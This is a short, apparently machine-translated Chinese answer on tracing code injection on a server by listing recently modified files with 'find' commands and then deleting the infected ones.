您可以通过查看服务器上文件的修改日期来整理哪些文件正在注入代码
您可以使用一些快速搜索来确定感染日期，然后搜索当时修改或创建的所有字段：
按创建列出文件：
find . -type f -newermt 2016-09-07 | xargs ls -la
查找上次修改时间为 60 天前的文本文件：
find /home/you -iname "*.txt" -mtime -60 -print
http://www.cyberciti.biz/faq/howto-finding-files-by-date/
您将需要删除受感染的文件/代码，并确保与md任何其他可能重新感染其余文件的文件作斗争。
